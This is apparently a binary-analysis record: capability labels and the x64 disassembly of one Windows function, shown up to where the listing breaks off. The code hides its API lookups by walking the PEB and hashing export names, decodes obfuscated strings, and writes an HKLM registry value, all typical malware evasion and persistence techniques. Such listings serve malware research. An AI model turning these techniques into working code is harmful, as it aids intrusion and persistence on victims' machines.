Function at 0x7ff7690fd9c0
Capabilities:
Access peb ldr_data
Authenticate hmac
Encode data using xor
Execute command
Get kernel32 base address
Hash data using fnv
Query environment variable
Resolve function by parsing pe exports
Set registry value
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x4f8]
sub rsp, 0x5e0
movaps xmmword [rax - 0x28], xmm6
mov rax, qword [0x7ff769193080]
xor rax, rsp
mov qword [rbp + 0x4c0], rax
lea rcx, [0x7ff7691bc0b9]
call fcn.7ff7690c4750
test al, al
jne 0x7ff7690fde5b
lea rdx, [rsp + 0x48]
call fcn.7ff769100700
lea rdx, [rbp + 0x170]
mov r14, rax
call fcn.7ff769100670
mov rcx, qword gs:[0x60]
mov r15, rax
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x7ff7690fdab7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x7ff7690fdab7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x281b93ba
lea rax, [r10 + r9*4]
mov eax, dword [rax + rbx]
add rax, r10
movzx edx, byte [rax]
inc rax
test dl, dl
je 0x7ff7690fdab2
nop dword [rax]
movsx edx, dl
lea rax, [rax + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rax - 1]
test dl, dl
jne 0x7ff7690fda90
cmp r8d, 0x44639a7d
je 0x7ff7690fdabc
test r9d, r9d
jne 0x7ff7690fda70
mov rcx, qword [rcx]
jmp 0x7ff7690fda40
mov ecx, dword [rdi + 0x24]
movzx eax, byte [r14 + 5]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
test al, al
je 0x7ff7690fdafb
xor byte [r14], 0x34
xor byte [r14 + 1], 0x35
xor byte [r14 + 2], 0x36
xor byte [r14 + 3], 0x37
xor byte [r14 + 4], 0x38
xor al, 0x39
mov byte [r14 + 5], al
mov ebx, dword [0x7ff7691930d0]
xor esi, esi
cmp byte [r15 + 0x96], sil
je 0x7ff7690fdca4
mov r8d, esi
cmp ebx, 2
jl 0x7ff7690fdc5d
movdqa xmm0, xmmword [0x7ff76917de50]
mov rcx, r15
movdqa xmm5, xmmword [0x7ff76917dd10]
movdqa xmm4, xmmword [0x7ff76917df60]
movdqa xmm6, xmmword [0x7ff76917dd60]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x7ff76917de10]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff76917de10]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x90
jl 0x7ff7690fdb50
cmp r8d, 0x97
jge 0x7ff7690fdca4
movsxd r9, r8d
add r9, r15
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x97
jl 0x7ff7690fdc70
xor r9d, r9d
mov r8, r14
mov rdx, r15
xor ecx, ecx
call r11
lea rdx, [rbp + 0x20]
call fcn.7ff769100740
mov r9, rax
cmp byte [rax + 0xd], sil
je 0x7ff7690fde0e
cmp ebx, 2
jl 0x7ff7690fddce
movdqa xmm2, xmmword [0x7ff76917dd10]
mov esi, 8
movdqa xmm4, xmmword [0x7ff76917df60]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x7ff76917dd30]
movdqa xmm0, xmm2
mov eax, dword [0x7ff76917de50]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x7ff76917dd60]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x7ff76917de10]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r9]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r9], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x7ff76917dd60]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff76917de10]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r9 + 4]
xorps xmm2, xmm0
movd dword [r9 + 4], xmm2
movsxd r8, esi
add r8, r9
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
lea r8, [r8 + 1]
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, sil
inc esi
sub al, cl
add al, 0x34
xor byte [r8 - 1], al
cmp esi, 0xe
jl 0x7ff7690fdde0
lea rdx, [rbp + 0xe8]
call fcn.7ff769100720
movzx ecx, byte [rax + 4]
test cl, cl
je 0x7ff7690fde37
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor cl, 0x38
mov byte [rax + 4], cl
mov r8, r9
mov rdx, rax
call fcn.7ff7690d0f30
call fcn.7ff7690c06f0
mov ecx, 0x1388
call qword [sym.imp.kernel32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.ucrtbase.dll_exit]
int3
mov rax, qword [0x7ff76917d5e8]
xor esi, esi
cmp byte [0x7ff76917d5ef], sil
mov qword [rsp + 0x600], r12
mov r12d, dword [0x7ff7691930d0]
mov qword [rbp + 0xe0], rax
je 0x7ff7690fdfd1
cmp r12d, 2
jl 0x7ff7690fdf95
movdqa xmm2, xmmword [0x7ff76917dd10]
movdqa xmm4, xmmword [0x7ff76917df60]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x7ff76917dd30]
movdqa xmm0, xmm2
mov eax, dword [0x7ff76917de50]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x7ff76917dd60]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff76917de10]
movd xmm1, dword [rbp + 0xe0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movdqa xmm0, xmm3
xorps xmm2, xmm1
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
movd dword [rbp + 0xe0], xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x7ff76917dd60]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff76917de10]
movd xmm1, dword [rbp + 0xe4]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0xe4], xmm2
jmp 0x7ff7690fdfd1
lea r9, [rbp + 0xe0]
mov r8d, esi
nop
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x7ff7690fdfa0
lea rcx, [rbp + 0xe0]
call qword [sym.imp.ucrtbase.dll_getenv]
mov r14, 0xffffffffffffffff
mov rdi, rax
mov rbx, r14
nop dword [rax + rax]
inc rbx
cmp byte [rax + rbx], sil
jne 0x7ff7690fdff0
call fcn.7ff76915c728
lea r8, [rsp + 0x70]
mov qword [rsp + 0x70], rdi
mov edx, eax
mov qword [rsp + 0x78], rbx
lea rcx, [rbp + 0x130]
call fcn.7ff7690bc2e0
movzx eax, byte [0x7ff76917d690]
mov rbx, r14
movsd xmm0, qword [0x7ff76917d688]
movsd qword [rsp + 0x38], xmm0
xor byte [rsp + 0x39], 0x35
xor byte [rsp + 0x3a], 0x36
xor byte [rsp + 0x3b], 0x37
xor byte [rsp + 0x3c], 0x38
xor byte [rsp + 0x3d], 0x39
xor byte [rsp + 0x3e], 0x3a
xor byte [rsp + 0x3f], 0x3b
xor al, 0x3c
mov byte [rsp + 0x38], 0x63
mov byte [rsp + 0x40], al
lea rax, [rsp + 0x38]
inc rbx
cmp byte [rax + rbx], sil
jne 0x7ff7690fe066
call fcn.7ff76915c728
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x78], rbx
mov qword [rsp + 0x70], rcx
lea r8, [rsp + 0x70]
lea rcx, [rbp + 0x30]
mov edx, eax
call fcn.7ff7690bc2e0
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x110]
call fcn.7ff7690bc490
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x110]
call fcn.7ff7690c0180
lea rcx, [rbp + 0x30]
call fcn.7ff7690bec40
movzx eax, byte [0x7ff76917d5d8]
movsd xmm0, qword [0x7ff76917d5d0]
xor al, 0x3c
movsd qword [rsp + 0x38], xmm0
xor byte [rsp + 0x39], 0x35
xor byte [rsp + 0x3a], 0x36
xor byte [rsp + 0x3b], 0x37
xor byte [rsp + 0x3c], 0x38
xor byte [rsp + 0x3d], 0x39
xor byte [rsp + 0x3e], 0x3a
xor byte [rsp + 0x3f], 0x3b
cmp qword [rbp + 0x128], 7
mov byte [rsp + 0x40], al
lea rax, [rbp + 0x110]
cmova rax, qword [rbp + 0x110]
mov qword [rsp + 0x70], rax
mov rax, qword [rbp + 0x120]
mov qword [rsp + 0x78], rax
mov byte [rsp + 0x38], 0x5c
call fcn.7ff76915c728
movaps xmm0, xmmword [rsp + 0x70]
lea r8, [rbp + 0xf0]
mov edx, eax
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp]
call fcn.7ff7690bf880
lea rax, [rsp + 0x38]
mov r8, r14
inc r8
cmp byte [rax + r8], sil
jne 0x7ff7690fe156
lea rdx, [rsp + 0x38]
lea rcx, [rbp]
call fcn.7ff7690b6a60
mov qword [rbp - 0x10], rsi
lea rbx, [rbp - 0x20]
mov qword [rbp - 8], rsi
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x10], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], sil
cmp qword [rbp - 8], 0xf
mov rdi, qword [rbp - 0x10]
cmova rbx, qword [rbp - 0x20]
call fcn.7ff76915c728
lea r8, [rsp + 0x70]
mov qword [rsp + 0x70], rbx
mov edx, eax
mov qword [rsp + 0x78], rdi
lea rcx, [rbp + 0x30]
call fcn.7ff7690bc2e0
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x60]
call fcn.7ff7690c05c0
movsd xmm0, qword [rax]
mov ecx, dword [rax + 8]
lea rax, [0x7ff769193108]
mov qword [rsp + 0x78], rax
movsd qword [rbp + 0x20], xmm0
mov eax, dword [rbp + 0x20]
mov dword [rsp + 0x70], ecx
movaps xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rbp + 0xf0], xmm0
test eax, eax
je 0x7ff7690fe4fc
cmp eax, 1
setne bl
lea rcx, [rbp + 0x30]
call fcn.7ff7690bec40
lea rcx, [rbp - 0x20]
call fcn.7ff7690b6990
lea rcx, [rbp]
call fcn.7ff7690b6990
test bl, bl
jne 0x7ff7690ffd27
movzx eax, word [0x7ff76917d728]
mov r8d, esi
mov word [rbp - 0x50], ax
movzx eax, byte [0x7ff76917d72a]
mov byte [rbp - 0x4e], al
mov dword [rbp + 0xe8], esi
movups xmm0, xmmword [0x7ff76917d708]
movups xmm1, xmmword [0x7ff76917d718]
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm1
cmp r12d, 2
jl 0x7ff7690fe3a8
movdqa xmm0, xmmword [0x7ff76917de50]
lea rcx, [rbp - 0x6c]
movdqa xmm5, xmmword [0x7ff76917dd10]
movdqa xmm4, xmmword [0x7ff76917df60]
movdqa xmm6, xmmword [0x7ff76917dd60]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x7ff76917de10]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff76917de10]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x20
jl 0x7ff7690fe2a1
cmp r8d, 0x23
jge 0x7ff7690fe3f1
movsxd rax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x23
jl 0x7ff7690fe3c0
lea rax, [rbp + 0xe0]
mov r9d, 0x20006
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [rbp - 0x70]
mov rcx, 0xffffffff80000002
call qword [sym.imp.advapi32.dll_RegOpenKeyExA]
test eax, eax
jne 0x7ff7690fee80
mov eax, dword [0x7ff76917d5dc]
movups xmm0, xmmword [0x7ff76917d4f0]
movups xmm1, xmmword [0x7ff76917d500]
mov dword [rsp + 0x50], eax
movzx eax, word [0x7ff76917d5e0]
mov word [rsp + 0x54], ax
movzx eax, byte [0x7ff76917d530]
movups xmmword [rbp - 0x70], xmm0
movups xmm0, xmmword [0x7ff76917d510]
movups xmmword [rbp - 0x60], xmm1
movups xmm1, xmmword [0x7ff76917d520]
mov byte [rbp - 0x30], al
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm1
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x7ff7690fe4f7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x7ff7690fe4f7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x835eed39
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x7ff7690fe4f2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x7ff7690fe4d0
cmp r8d, 0x8eb62b08
je 0x7ff7690fe50b
test r9d, r9d
jne 0x7ff7690fe4b0
mov rax, qword [rax]
jmp 0x7ff7690fe480
xor bl, bl
test ecx, ecx
jne 0x7ff769100653
jmp 0x7ff7690fe212
mov ecx, dword [rdi + 0x24]
mov r8d, esi
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
xor byte [rsp + 0x51], 0x35
add r11, r10
xor byte [rsp + 0x52], 0x36
xor byte [rsp + 0x53], 0x37
xor byte [rsp + 0x54], 0x38
xor byte [rsp + 0x55], 0x39
mov byte [rsp + 0x50], 0x43
cmp r12d, 2
jl 0x7ff7690fe687
movdqa xmm0, xmmword [0x7ff76917de50]
lea rcx, [rbp - 0x6c]
movdqa xmm5, xmmword [0x7ff76917dd10]
movdqa xmm4, xmmword [0x7ff76917df60]
movdqa xmm6, xmmword [0x7ff76917dd60]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x7ff76917de10]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff76917de10]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x40
jl 0x7ff7690fe580
cmp r8d, 0x41
jge 0x7ff7690fe6c2
movsxd rax, r8d
lea r9, [rbp - 0x70]
add r9, rax
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x41
jl 0x7ff7690fe691
xor r9d, r9d
lea r8, [rsp + 0x50]
lea rdx, [rbp - 0x70]
xor ecx, ecx
call r11
movups xmm1, xmmword [0x7ff76917d548]
movups xmm0, xmmword [0x7ff76917d538]
movups xmmword [rbp - 0x10], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
movups xmmword [rbp - 0x20], xmm0
test al, al
je 0x7ff7690fe881
cmp r12d, 2
jl 0x7ff7690fe841
movdqa xmm0, xmmword [0x7ff76917de50]
lea rcx, [rbp - 0x1c]
movdqa xmm5, xmmword [0x7ff76917dd10]
mov edx, esi
movdqa xmm4, xmmword [0x7ff76917df60]
movdqa xmm6, xmmword [0x7ff76917dd60]
movdqa xmmword [rsp + 0x70], xmm0
mov r8d, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x7ff76917de10]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff76917de10]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x20
jl 0x7ff7690fe740
jmp 0x7ff7690fe881
lea r9, [rbp - 0x20]
mov r8d, esi
nop dword [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x20
jl 0x7ff7690fe850
mov rcx, qword [rbp + 0xe0]
lea rax, [rbp + 0xe8]
mov dword [rsp + 0x28], 4
lea rdx, [rbp - 0x20]
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.advapi32.dll_RegSetValueExA]
test eax, eax
je 0x7ff7690febc2
mov eax, dword [0x7ff76917d5dc]
movups xmm0, xmmword [0x7ff76917d558]
mov dword [rsp + 0x30], eax
movzx eax, word [0x7ff76917d5e0]
mov word [rsp + 0x34], ax
movzx eax, word [0x7ff76917d570]
movups xmmword [rbp + 0xf0], xmm0
mov word [rbp + 0x108], ax
movsd xmm0, qword [0x7ff76917d568]
movsd qword [rbp + 0x100], xmm0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x7ff7690fe987
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x7ff7690fe987
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x5953d5cb
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x7ff7690fe982
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x7ff7690fe960
cmp r8d, 0xe0a9056a
je 0x7ff7690fe98c
test r9d, r9d
jne 0x7ff7690fe940
mov rax, qword [rax]
jmp 0x7ff7690fe910
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
xor byte [rsp + 0x31], 0x35
add r11, r10
xor byte [rsp + 0x32], 0x36
xor byte [rsp + 0x33], 0x37
xor byte [rsp + 0x34], 0x38
xor byte [rsp + 0x35], 0x39
mov byte [rsp + 0x30], 0x43
cmp r12d, 2
jl 0x7ff7690feb04
movdqa xmm0, xmmword [0x7ff76917de50]
lea rcx, [rbp + 0xf4]
movdqa xmm5, xmmword [0x7ff76917dd10]
movdqa xmm4, xmmword [0x7ff76917df60]
movdqa xmm6, xmmword [0x7ff76917dd60]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, esi
lea eax, [rsi + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add esi, 8
pmuldq xmm1, xmm4
mov eax, esi
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x7ff76917de10]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff76917de10]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp esi, 0x18
jl 0x7ff7690fea00
cmp eax, 0x1a
jge 0x7ff7690feb4e
movsxd rax, esi
lea r8, [rbp + 0xf0]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r8, [r8 + 1]
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
